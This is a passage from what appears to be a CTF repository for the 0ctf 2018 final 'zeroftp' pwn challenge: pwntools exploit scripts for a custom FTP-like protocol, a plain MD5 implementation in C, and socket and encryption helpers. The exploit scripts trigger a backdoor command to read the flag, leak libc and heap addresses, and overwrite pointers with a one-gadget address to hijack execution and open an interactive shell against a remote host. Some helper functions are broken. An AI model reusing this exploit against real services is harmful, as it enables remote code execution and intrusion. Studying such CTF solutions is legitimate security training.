        return data, payload[1+zero_int_len:]

def zero_pack_list(data, list_len):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 5)
    if (list_len <= 15):
        info = BITS_SET_VAL(info, 3, 4, 0)
        info = BITS_SET_VAL(info, 4, 8, list_len)
        payload  = chr(info)
        for i in xrange(list_len):
            payload += data[i]
    else:
        list_len_len = (len(bin(len(list_len))[2:])-1)/8+1
        list_len = pack(len(list_len), 8*list_len_len, endian='little')
        info = BITS_SET_VAL(info, 3, 4, 1)
        info = BITS_SET_VAL(info, 4, 8, list_len_len)
        payload = chr(info)
        for i in xrange(list_len):
            payload = data[i]
    return

def zero_unpack_list(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 5
    zero_list_type = BITS(zero_info, 3, 4)
    zero_list_len  = BITS(zero_info, 4, 8)
    ret = []
    if zero_list_type == 0:
        payload = payload[1:]
        for i in xrange(zero_list_len):
            wtf = zero_unpack(payload)
            if type(wtf) == tuple:
                payload = wtf[1]
                ret.append(wtf[0])
            else:
                ret.append(wtf)
            #log.debug('aaaaaaaaa {}'.format(wtf))
    else:
        list_len = unpack(payload[1:1+zero_list_len], 8*zero_list_len, endian='little')
        payload = payload[1+zero_list_len:]
        for i in xrange(list_len):
            wtf = zero_unpack(payload)
            if type(wtf) == tuple:
                payload = wtf[1]
                ret.append(wtf[0])
            else:
                ret.append(wtf)
    return ret,payload

def zero_pack(data, types):
    if zero_basic_types == 'bool':
        ret = zero_pack_bool(data)
    elif zero_basic_types == 'string':
        ret = zero_pack_string(data)
    elif zero_basic_types == 'raw':
        ret = zero_pack_raw(data)
    elif zero_basic_types == 'int':
        ret = zero_pack_int(data)
    elif zero_basic_types == 'list':
        ret = zero_pack_list(payload)
    return ret

def zero_unpack(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types < 6
    if zero_basic_types == 1:
        log.debug('recv: bool')
        ret =  zero_unpack_bool(payload)
    elif zero_basic_types == 2:
        log.debug('recv: string')
        ret = zero_unpack_string(payload)
    elif zero_basic_types == 3:
        log.debug('recv: raw')
        ret = zero_unpack_raw(payload)
    elif zero_basic_types == 4:
        log.debug('recv: int')
        ret = zero_unpack_int(payload)
    elif zero_basic_types == 5:
        log.debug('recv: list')
        ret = zero_unpack_list(payload)
    return ret

#### recv and send
def zero_recv():
    magic = r.recv(1)
    assert magic == '\xdd'
    data_length = u32(r.recv(4), endian='big')
    #log.info('data_length {}'.format(data_length))
    data = r.recv(data_length)
    #log.info('data {}'.format(hexdump(data)))
    #raw_input()
    data_crc32 = u32(r.recv(4), endian='big')
    #assert crc.crc_32(data) == data_crc32
    #log.info(data.encode('hex'))
    return zero_unpack(data)

def zero_send(data):
    magic = '\xdd'
    data_len = p32(len(data), endian='big')
    data_crc32 = p32(crc.crc_32(data), endian='big')
    payload  = magic + data_len + data + data_crc32
    r.send(payload)

## menu
def zeroftp_login(username, password):
    payload  = zero_pack_int(0x1, endian='big')
    payload += zero_pack_string(username)
    payload += zero_pack_raw(md5sum(password))
    zero_send(payload)
    if zero_recv() == 1:
        log.debug('login success')
    else:
        log.debug('login fail')

def zeroftp_ls(directory):
    payload  = zero_pack_int(0x2, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    #raw_input()
    ret = zero_recv()
    return ret[0]

def zeroftp_cd(directory):
    payload  = zero_pack_int(0x3, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_mkdir(directory):
    payload  = zero_pack_int(0x4, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_rmdir(directory):
    payload  = zero_pack_int(0x5, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_rdfile(filename):
    payload  = zero_pack_int(0x6, endian='big')
    payload += zero_pack_string(filename)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_wrfile(filename, content):
    payload  = zero_pack_int(0x7, endian='big')
    payload += zero_pack_string(filename)
    payload += zero_pack_raw(content)
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_rmfile(filename):
    payload  = zero_pack_int(0x8, endian='big')
    payload += zero_pack_string(filename)
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_fileinfo(pathname, arg2=-1, fileinfo_elem=None):
    payload  = zero_pack_int(0x9, endian='big')
    payload += zero_pack_string(pathname)
    if arg2 != -1:
        payload += zero_pack_bool(arg2)
        payload += zero_pack_int(fileinfo_elem, endian='big')
    zero_send(payload)
    sleep(0.5)
    ret = zero_recv()
    return ret[0] 

def zeroftp_setfileinfo(pathname, fileinfo_elem, arg3):
    payload  = zero_pack_int(0xa, endian='big')
    payload += zero_pack_string(pathname)
    payload += zero_pack_int(fileinfo_elem, endian='big')
    if fileinfo_elem == 0:
        payload += zero_pack_string(arg3)
    else:
        payload += zero_pack_int(arg3, endian='big')
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_backdoor(filename):
    payload  = zero_pack_int(0xb, endian='big')
    payload += zero_pack_string(filename)
    #payload += zero_pack_raw('b1111111111111gtang')
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_exit():
    return 

# for check
def test():
    zeroftp_login('admin', 'admin')
    zeroftp_wrfile('flag','hackedhackedhacked')
    zeroftp_wrfile('test1','hackedhackedhacked')
    zeroftp_wrfile('test2','hackedhackedhacked')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format(directory))
    content = zeroftp_rdfile('flag')
    log.info('file {} content {}'.format('flag', content))
    zeroftp_fileinfo('flag', 0, 1)
    zeroftp_setfileinfo('test1', 0, 'test2')
    zeroftp_setfileinfo('test1', 2, 1)
    zeroftp_mkdir('zzz')
    zeroftp_cd('zzz')
    zeroftp_wrfile('123','hackedhackedhacked')
    zeroftp_wrfile('456','hackedhackedhacked'*8)
    zeroftp_wrfile('abc','hackedhackedhacked')
    content = zeroftp_rdfile('456')
    log.info('file {} content {}'.format('456', content))

    directory = zeroftp_ls('.')
    log.info('directory {}'.format(directory))

    zeroftp_cd('/')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format('flag', directory))
    #attach(0x401BF3)
    #zeroftp_rmdir('/')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format(directory))


# exploit
def re1():
    zeroftp_login('admin', 'admin')
    zeroftp_mkdir('here_is_your_flag')
    zeroftp_backdoor("here_is_your_flag/flag")
    flag = zeroftp_rdfile("here_is_your_flag/flag")
    log.info('get the flag:{}'.format(flag))
    #return flag

def hijack(addr):
    #zeroftp_login('admin', 'admin')
    #zeroftp_wrfile('z'*0x100, 'a'*8)
    zeroftp_wrfile('a'*(0x16-8), 'a'*8)
    zeroftp_setfileinfo('a'*(0x16-8), 4 , 0x00)
    zeroftp_setfileinfo('a'*(0x16-8), 5 , 0x00)
    zeroftp_wrfile('b'*0xf8, 'a'*8)
    for i in xrange(0xe):
        zeroftp_wrfile(chr(ord('c')+i)*0x100, 'a'*8)
    #zeroftp_wrfile(chr(ord('z')+i)*0xe0, 'a'*8)
    print zeroftp_setfileinfo('b'*0xf8, 5 , addr)
    #print zeroftp_setfileinfo('z'*0xc0, 5 , 0xefbeadde11223344)
    #print zeroftp_fileinfo('/')
    payload  = zero_pack_int(0x9, endian='big')
    payload += zero_pack_string('/')
    zero_send(payload)

def leak():
    zeroftp_login('admin', 'admin')

    zeroftp_wrfile('X'*0x100, 'x'*0x100)
    zeroftp_rmfile('X'*0x100)

    payload  = zero_pack_int(0x7, endian='big')
    payload += zero_pack_string('Y'*8)
    # raw
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 3)
    len_len = (len(bin(0xf0)[2:])-1)/8+1
    raw_len= pack(0xf0, 8*len_len, endian='little')
    info = BITS_SET_VAL(info, 3, 4, 1)
    info = BITS_SET_VAL(info, 4, 8, len_len)
    payload += chr(info)
    payload += raw_len
    payload += 'bbbbbbbb'
    zero_send(payload)
    ret = zero_recv()

    ret = zeroftp_rdfile('Y'*8)
    libc.address = u64(ret[0x2a:][:8]) - 0x3c4b98
    heap = u64(ret[0x2a+8:][:8]) - 0x470
    log.info(hex(libc.address))
    log.info(hex(heap))
    zeroftp_rmfile('Y'*0x8)
    return libc.address, heap

def exploit():
    addr = leak()
    #attach(0x401389)
    hijack(unpack(pack(addr+0x4526a,64),64,endian='big'))

#re1()

libc.address , heap = leak()

for i in xrange(0x2e):
    zeroftp_wrfile('%08d' % i, 'x'*0x10)
for i in xrange(0x1e):
    zeroftp_rdfile('%08d' % (i+0x10))

print 'gogogo'
zeroftp_wrfile('%08d' % 0x2e, p64(libc.address+0x4526a)*32)
zeroftp_rdfile('%08d' % 0x2e)

log.debug('tututut')
zeroftp_setfileinfo('/', 2 , heap + 0x110)
#zeroftp_setfileinfo('/', 2 , 0)
zeroftp_setfileinfo('/', 4 , 0)
zeroftp_setfileinfo('/', 5 , libc.address+0x3c56f8)
zeroftp_setfileinfo(p64(libc.address+0x3c36e0)[:6], 0, p64(heap+0x1b90))


r.interactive()



================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/md5.c
================================================
/*
 * Simple MD5 implementation
 *
 * Compile with: gcc -o md5 md5.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

// Constants are the integer part of the sines of integers (in radians) * 2^32.
const uint32_t k[64] = {
0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee ,
0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501 ,
0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be ,
0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821 ,
0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa ,
0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8 ,
0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed ,
0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a ,
0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c ,
0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70 ,
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05 ,
0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665 ,
0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039 ,
0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1 ,
0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1 ,
0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391 };

// r specifies the per-round shift amounts
const uint32_t r[] = {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
                      5,  9, 14, 20, 5,  9, 14, 20, 5,  9, 14, 20, 5,  9, 14, 20,
                      4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
                      6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21};

// leftrotate function definition
#define LEFTROTATE(x, c) (((x) << (c)) | ((x) >> (32 - (c))))

void to_bytes(uint32_t val, uint8_t *bytes)
{
    bytes[0] = (uint8_t) val;
    bytes[1] = (uint8_t) (val >> 8);
    bytes[2] = (uint8_t) (val >> 16);
    bytes[3] = (uint8_t) (val >> 24);
}

uint32_t to_int32(const uint8_t *bytes)
{
    return (uint32_t) bytes[0]
        | ((uint32_t) bytes[1] << 8)
        | ((uint32_t) bytes[2] << 16)
        | ((uint32_t) bytes[3] << 24);
}

void md5(const uint8_t *initial_msg, size_t initial_len, uint8_t *digest) {

    // These vars will contain the hash
    uint32_t h0, h1, h2, h3;

    // Message (to prepare)
    uint8_t *msg = NULL;

    size_t new_len, offset;
    uint32_t w[16];
    uint32_t a, b, c, d, i, f, g, temp;

    // Initialize variables - simple count in nibbles:
    h0 = 0x67452301;
    h1 = 0xefcdab89;
    h2 = 0x98badcfe;
    h3 = 0x10325476;

    //Pre-processing:
    //append "1" bit to message
    //append "0" bits until message length in bits ≡ 448 (mod 512)
    //append length mod (2^64) to message

    for (new_len = initial_len + 1; new_len % (512/8) != 448/8; new_len++)
        ;

    msg = (uint8_t*)malloc(new_len + 8);
    memcpy(msg, initial_msg, initial_len);
    msg[initial_len] = 0x80; // append the "1" bit; most significant bit is "first"
    for (offset = initial_len + 1; offset < new_len; offset++)
        msg[offset] = 0; // append "0" bits

    // append the len in bits at the end of the buffer.
    to_bytes(initial_len*8, msg + new_len);
    // initial_len>>29 == initial_len*8>>32, but avoids overflow.
    to_bytes(initial_len>>29, msg + new_len + 4);

    // Process the message in successive 512-bit chunks:
    //for each 512-bit chunk of message:
    for(offset=0; offset<new_len; offset += (512/8)) {

        // break chunk into sixteen 32-bit words w[j], 0 ≤ j ≤ 15
        for (i = 0; i < 16; i++)
            w[i] = to_int32(msg + offset + i*4);

        // Initialize hash value for this chunk:
        a = h0;
        b = h1;
        c = h2;
        d = h3;

        // Main loop:
        for(i = 0; i<64; i++) {

            if (i < 16) {
                f = (b & c) | ((~b) & d);
                g = i;
            } else if (i < 32) {
                f = (d & b) | ((~d) & c);
                g = (5*i + 1) % 16;
            } else if (i < 48) {
                f = b ^ c ^ d;
                g = (3*i + 5) % 16;
            } else {
                f = c ^ (b | (~d));
                g = (7*i) % 16;
            }

            temp = d;
            d = c;
            c = b;
            b = b + LEFTROTATE((a + f + k[i] + w[g]), r[i]);
            a = temp;

        }

        // Add this chunk's hash to result so far:
        h0 += a;
        h1 += b;
        h2 += c;
        h3 += d;

    }

    // cleanup
    free(msg);

    //var char digest[16] := h0 append h1 append h2 append h3 //(Output is in little-endian)
    to_bytes(h0, digest);
    to_bytes(h1, digest + 4);
    to_bytes(h2, digest + 8);
    to_bytes(h3, digest + 12);
}


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/md5.h
================================================
#ifndef MD5_H
#define MD5_H

void md5(const uint8_t *initial_msg, size_t initial_len, uint8_t *digest);

#endif


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/release/exp.py
================================================
#!/usr/bin/env python
# encoding: utf-8

__author__  = 'b1gtang'

from pwn import *
from time import sleep

context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'debug'

L = False # local or remote
E = False # set env

if E or not L:
    LIBC64 = './libc.so.6'
else:
    LIBC64 = '/lib/x86_64-linux-gnu/libc.so.6'

BINARY = './vtp_25c65270fb5d7a98f359924d4010c0fa'

#code = ELF(BINARY)
#libc = ELF(LIBC64)

if L:
    r = process(BINARY, env={'LD_PRELOAD':LIBC64})
else:
    r = remote('192.168.201.15', 13345)

def attach(addr):
    if addr < 0x400000:
        addr = addr + 0x555555554000
    gdb.attach(r, gdbscript='b *0x%x' % addr)

#### pack
BITS = lambda byte, start, end:((byte>>start)&((1<<(end-start))-1))
BITS_SET = lambda byte, pos: byte|(1<<pos)
BITS_CLR = lambda byte, pos: byte&(~(1<<pos))
BITS_SET_VAL = lambda byte, start, end, val:((byte)&\
(~(((1<<(end-start))-1)<<start))|\
(val<<start))

def zero_pack_bool(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 1)
    info = BITS_SET_VAL(info, 3, 4, data)
    payload = chr(info)
    return payload

def zero_unpack_bool(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 1
    data = BITS(zero_info, 3, 4)
    if len(payload) == 1:
        return data
    else:
        return data, payload[1:]

def zero_pack_string(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 2)
    payload  = chr(info)
    payload += data
    payload += '\x00' # null terminal
    return payload

def zero_unpack_string(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0 ,3)
    assert zero_basic_types == 0x2
    data = payload[1:1+payload.index('\x00')]
    if len(payload) == 1 + len(data):
        return data[:-1]
    else:
        return data[:-1], payload[1+len(data):]

def zero_pack_raw(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 3)
    if len(data) <= 15:
        info = BITS_SET_VAL(info, 3, 4, 0)
        info = BITS_SET_VAL(info, 4, 8, len(data))
        payload  = chr(info)
        payload += data
    else:
        len_len = (len(bin(len(data))[2:])-1)/8+1
        raw_len= pack(len(data), 8*len_len, endian='little')
        info = BITS_SET_VAL(info, 3, 4, 1)
        info = BITS_SET_VAL(info, 4, 8, len_len)
        payload  = chr(info)
        payload += raw_len
        payload += data
    return payload

def zero_unpack_raw(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3);
    assert zero_basic_types == 3
    zero_raw_type = BITS(zero_info, 3, 4)
    zero_raw_len  = BITS(zero_info, 4, 8)
    raw_len = 0 
    if (zero_raw_type == 0):
        data = payload[1:1+zero_raw_len]
    else:
        raw_len = unpack(payload[1:1+zero_raw_len], 8*zero_raw_len, endian='little')
        data = payload[1+zero_raw_len:1+zero_raw_len+raw_len]
    if len(payload) == 1 + zero_raw_len + raw_len:
        return data
    else:
        return data, payload[1+len(data):]

def zero_pack_int(data, endian):
    int_len = (len(bin(data)[2:])-1)/8+1
    payload = pack(data, 8*int_len, endian=endian)
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 4)
    info = BITS_SET_VAL(info, 4, 5, int(endian == 'big'))
    info = BITS_SET_VAL(info, 5, 8, int_len-1)
    #print 'xxxxxxxxxx',hex(int_len)
    #print 'xxxxxxxxxx',hex(info)
    payload = chr(info) + payload
    return payload

def zero_unpack_int(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 4
    zero_int_type = BITS(zero_info, 3, 4)
    zero_int_len = BITS(zero_info, 5, 8)+1
    zero_int_endian = BITS(zero_info, 4, 5)
    data = unpack(payload[1:1+zero_int_len], 8*zero_int_len, endian='big' if
                zero_int_endian == 1 else 'little')
    if len(payload) == 1 + zero_int_len:
        return data
    else:
        return data, payload[1+zero_int_len:]

def zero_pack_list(data, list_len):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 5)
    if (list_len <= 15):
        info = BITS_SET_VAL(info, 3, 4, 0)
        info = BITS_SET_VAL(info, 4, 8, list_len)
        payload  = chr(info)
        for i in xrange(list_len):
            payload += data[i]
    else:
        list_len_len = (len(bin(len(list_len))[2:])-1)/8+1
        list_len = pack(len(list_len), 8*list_len_len, endian='little')
        info = BITS_SET_VAL(info, 3, 4, 1)
        info = BITS_SET_VAL(info, 4, 8, list_len_len)
        payload = chr(info)
        for i in xrange(list_len):
            payload = data[i]
    return

def zero_unpack_list(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 5
    zero_list_type = BITS(zero_info, 3, 4)
    zero_list_len  = BITS(zero_info, 4, 8)
    ret = []
    if zero_list_type == 0:
        payload = payload[1:]
        for i in xrange(zero_list_len):
            wtf = zero_unpack(payload)
            if type(wtf) == tuple:
                payload = wtf[1]
                ret.append(wtf[0])
            else:
                ret.append(wtf)
            #log.debug('aaaaaaaaa {}'.format(wtf))
    else:
        list_len = unpack(payload[1:1+zero_list_len], 8*zero_list_len, endian='little')
        payload = payload[1+zero_list_len:]
        for i in xrange(list_len):
            wtf = zero_unpack(payload)
            if type(wtf) == tuple:
                payload = wtf[1]
                ret.append(wtf[0])
            else:
                ret.append(wtf)
    return ret,payload

def zero_pack(data, types):
    if zero_basic_types == 'bool':
        ret = zero_pack_bool(data)
    elif zero_basic_types == 'string':
        ret = zero_pack_string(data)
    elif zero_basic_types == 'raw':
        ret = zero_pack_raw(data)
    elif zero_basic_types == 'int':
        ret = zero_pack_int(data)
    elif zero_basic_types == 'list':
        ret = zero_pack_list(payload)
    return ret

def zero_unpack(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types < 6
    if zero_basic_types == 1:
        log.debug('recv: bool')
        ret =  zero_unpack_bool(payload)
    elif zero_basic_types == 2:
        log.debug('recv: string')
        ret = zero_unpack_string(payload)
    elif zero_basic_types == 3:
        log.debug('recv: raw')
        ret = zero_unpack_raw(payload)
    elif zero_basic_types == 4:
        log.debug('recv: int')
        ret = zero_unpack_int(payload)
    elif zero_basic_types == 5:
        log.debug('recv: list')
        ret = zero_unpack_list(payload)
    return ret

#### recv and send
def zero_recv():
    magic = r.recv(1)
    assert magic == '\xdd'
    data_length = u32(r.recv(4), endian='big')
    #log.info('data_length {}'.format(data_length))
    data = r.recv(data_length)
    #log.info('data {}'.format(hexdump(data)))
    #raw_input()
    data_crc32 = u32(r.recv(4), endian='big')
    #assert crc.crc_32(data) == data_crc32
    #log.info(data.encode('hex'))
    return zero_unpack(data)

def zero_send(data):
    magic = '\xdd'
    data_len = p32(len(data), endian='big')
    data_crc32 = p32(crc.crc_32(data), endian='big')
    payload  = magic + data_len + data + data_crc32
    r.send(payload)

## menu
def zeroftp_login(username, password):
    payload  = zero_pack_int(0x1, endian='big')
    payload += zero_pack_string(username)
    payload += zero_pack_raw(md5sum(password))
    zero_send(payload)
    if zero_recv() == 1:
        log.debug('login success')
    else:
        log.debug('login fail')

def zeroftp_ls(directory):
    payload  = zero_pack_int(0x2, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    #raw_input()
    ret = zero_recv()
    return ret[0]

def zeroftp_cd(directory):
    payload  = zero_pack_int(0x3, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_mkdir(directory):
    payload  = zero_pack_int(0x4, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_rmdir(directory):
    payload  = zero_pack_int(0x5, endian='big')
    payload += zero_pack_string(directory)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_rdfile(filename):
    payload  = zero_pack_int(0x6, endian='big')
    payload += zero_pack_string(filename)
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_wrfile(filename, content):
    payload  = zero_pack_int(0x7, endian='big')
    payload += zero_pack_string(filename)
    payload += zero_pack_raw(content)
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_rmfile(filename):
    payload  = zero_pack_int(0x8, endian='big')
    payload += zero_pack_string(filename)
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_fileinfo(pathname, arg2=-1, fileinfo_elem=None):
    payload  = zero_pack_int(0x9, endian='big')
    payload += zero_pack_string(pathname)
    if arg2 != -1:
        payload += zero_pack_bool(arg2)
        payload += zero_pack_int(fileinfo_elem, endian='big')
    zero_send(payload)
    sleep(0.5)
    ret = zero_recv()
    return ret[0] 

def zeroftp_setfileinfo(pathname, fileinfo_elem, arg3):
    payload  = zero_pack_int(0xa, endian='big')
    payload += zero_pack_string(pathname)
    payload += zero_pack_int(fileinfo_elem, endian='big')
    if fileinfo_elem == 0:
        payload += zero_pack_string(arg3)
    else:
        payload += zero_pack_int(arg3, endian='big')
    zero_send(payload)
    ret = zero_recv()
    return ret 

def zeroftp_backdoor(filename):
    payload  = zero_pack_int(0xb, endian='big')
    payload += zero_pack_string(filename)
    #payload += zero_pack_raw('b1111111111111gtang')
    zero_send(payload)
    ret = zero_recv()
    return ret

def zeroftp_exit():
    return 

# for check
def test():
    zeroftp_login('admin', 'admin')
    zeroftp_wrfile('flag','hackedhackedhacked')
    zeroftp_wrfile('test1','hackedhackedhacked')
    zeroftp_wrfile('test2','hackedhackedhacked')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format(directory))
    content = zeroftp_rdfile('flag')
    log.info('file {} content {}'.format('flag', content))
    zeroftp_fileinfo('flag', 0, 1)
    zeroftp_setfileinfo('test1', 0, 'test2')
    zeroftp_setfileinfo('test1', 2, 1)
    zeroftp_mkdir('zzz')
    zeroftp_cd('zzz')
    zeroftp_wrfile('123','hackedhackedhacked')
    zeroftp_wrfile('456','hackedhackedhacked'*8)
    zeroftp_wrfile('abc','hackedhackedhacked')
    content = zeroftp_rdfile('456')
    log.info('file {} content {}'.format('456', content))

    directory = zeroftp_ls('.')
    log.info('directory {}'.format(directory))

    zeroftp_cd('/')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format('flag', directory))
    #attach(0x401BF3)
    #zeroftp_rmdir('/')
    directory = zeroftp_ls('/')
    log.info('directory {}'.format(directory))


# exploit
def re1():
    zeroftp_login('admin', 'admin')
    zeroftp_mkdir('here_is_your_flag')
    zeroftp_backdoor("here_is_your_flag/flag")
    flag = zeroftp_rdfile("here_is_your_flag/flag")
    log.info('get the flag:{}'.format(flag))

    #zeroftp_login('admin', 'admin')
    #zeroftp_backdoor("flag")
    #flag = zeroftp_rdfile("flag")
    #log.info('get the flag:{}'.format(flag))


def hijack(addr):
    #zeroftp_login('admin', 'admin')
    #zeroftp_wrfile('z'*0x100, 'a'*8)
    zeroftp_wrfile('a'*(0x16-8), 'a'*8)
    zeroftp_setfileinfo('a'*(0x16-8), 4 , 0x00)
    zeroftp_setfileinfo('a'*(0x16-8), 5 , 0x00)
    zeroftp_wrfile('b'*0xf8, 'a'*8)
    for i in xrange(0xe):
        zeroftp_wrfile(chr(ord('c')+i)*0x100, 'a'*8)
    #zeroftp_wrfile(chr(ord('z')+i)*0xe0, 'a'*8)
    print zeroftp_setfileinfo('b'*0xf8, 5 , addr)
    #print zeroftp_setfileinfo('z'*0xc0, 5 , 0xefbeadde11223344)
    #print zeroftp_fileinfo('/')
    payload  = zero_pack_int(0x9, endian='big')
    payload += zero_pack_string('/')
    zero_send(payload)

def leak():
    zeroftp_login('admin', 'admin')

    zeroftp_wrfile('X'*0x100, 'x'*0x100)
    zeroftp_rmfile('X'*0x100)

    payload  = zero_pack_int(0x7, endian='big')
    payload += zero_pack_string('Y'*8)
    # raw
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 3)
    len_len = (len(bin(0xf0)[2:])-1)/8+1
    raw_len= pack(0xf0, 8*len_len, endian='little')
    info = BITS_SET_VAL(info, 3, 4, 1)
    info = BITS_SET_VAL(info, 4, 8, len_len)
    payload += chr(info)
    payload += raw_len
    payload += 'bbbbbbbb'
    zero_send(payload)
    ret = zero_recv()

    ret = zeroftp_rdfile('Y'*8)
    libc.address = u64(ret[0x2a:][:8]) - 0x3c4b98
    heap = u64(ret[0x2a+8:][:8]) - 0x470
    log.info(hex(libc.address))
    log.info(hex(heap))
    zeroftp_rmfile('Y'*0x8)
    return libc.address, heap

def exploit():
    addr = leak()
    #attach(0x401389)
    hijack(unpack(pack(addr+0x4526a,64),64,endian='big'))

re1()

#libc.address , heap = leak()
#
#for i in xrange(0x2e):
#    zeroftp_wrfile('%08d' % i, 'x'*0x10)
#for i in xrange(0x1e):
#    zeroftp_rdfile('%08d' % (i+0x10))
#
#print 'gogogo'
#zeroftp_wrfile('%08d' % 0x2e, p64(libc.address+0x4526a)*32)
#zeroftp_rdfile('%08d' % 0x2e)
#
#log.debug('tututut')
#zeroftp_setfileinfo('/', 2 , heap + 0x110)
##zeroftp_setfileinfo('/', 2 , 0)
#zeroftp_setfileinfo('/', 4 , 0)
#zeroftp_setfileinfo('/', 5 , libc.address+0x3c56f8)
#zeroftp_setfileinfo(p64(libc.address+0x3c36e0)[:6], 0, p64(heap+0x1b90))


r.interactive()



================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/utils.py
================================================
#!/usr/bin/env python
# coding=utf-8

from pwn import u32, p32, crc, log, md5sum, pack, unpack, remote, process,context
from random import randint
from Crypto.Cipher import ARC4

context.log_level = 'debug'
# context.log_level = 'critical'
a = None
r = None
DEBUG = 0
DEBUG2 = 1

def init_sock(ip, port):
    global r
    # r = remote(ip, port, timeout=1)
    r = process('./zeroftp')

def init_enc():
    global r, a
    p = 0xab1b141539b31ec6468724ad0c42d177e72f17649cfc4677ca415cfeacd792e3a32c9e4f3f9c5fc0bb95fa651b4edbbe484929d8c9991bf2b00019b4e53d26bf321c6a5b4b9efe010300a696a812869f87f4d4d1ac074b505137ac0c2e0567395d7dde02f517a7cfff8021049ba5733b974e87b459b054199c6ae600414539b7
    g = 15

    if DEBUG:
        log.info(r.recvline())
        log.info(r.recvline())
    gx = int(r.recv(1024), 16)
    if DEBUG:
        print 'gx', hex(gx)
    y = randint(2, p-1)
    if DEBUG:
        print 'y', hex(y)
    gy = pow(g, y, p)
    if DEBUG:
        print 'gy', hex(gy)
    r.send("{:0256x}".format(gy))
    if DEBUG:
        log.info(r.recvline())
        log.info(r.recvline())
    key = format(pow(gx, y, p), '0256x').decode('hex')
    if DEBUG:
        print 'key', key.encode('hex')
    a = ARC4.new(key)

def send(m):
    global a, r
    m = a.encrypt(m)
    r.send(m)
    if DEBUG2:
        log.info(r.recvline())

def recv(length):
    global a, r
    res = ''
    while length:
        try:
            m = r.recv(length)
        except EOFError:
            break
        m = a.encrypt(m)
        res += m
        length -= len(m)
    return res

#### pack
BITS = lambda byte, start, end:((byte>>start)&((1<<(end-start))-1))
BITS_SET = lambda byte, pos: byte|(1<<pos)
BITS_CLR = lambda byte, pos: byte&(~(1<<pos))
BITS_SET_VAL = lambda byte, start, end, val:((byte)&\
(~(((1<<(end-start))-1)<<start))|\
(val<<start))

def zero_pack_bool(data):
    info = 0
    info = BITS_SET_VAL(info, 0, 3, 1)
    info = BITS_SET_VAL(info, 3, 4, data)
    payload = chr(info)
    return payload

def zero_unpack_bool(payload):
    zero_info = ord(payload[0])
    zero_basic_types = BITS(zero_info, 0, 3)
    assert zero_basic_types == 1
    data = BITS(zero_info, 3, 4)
    if len(payload) == 1:
        return data
    else:
        return data, payload[1:]

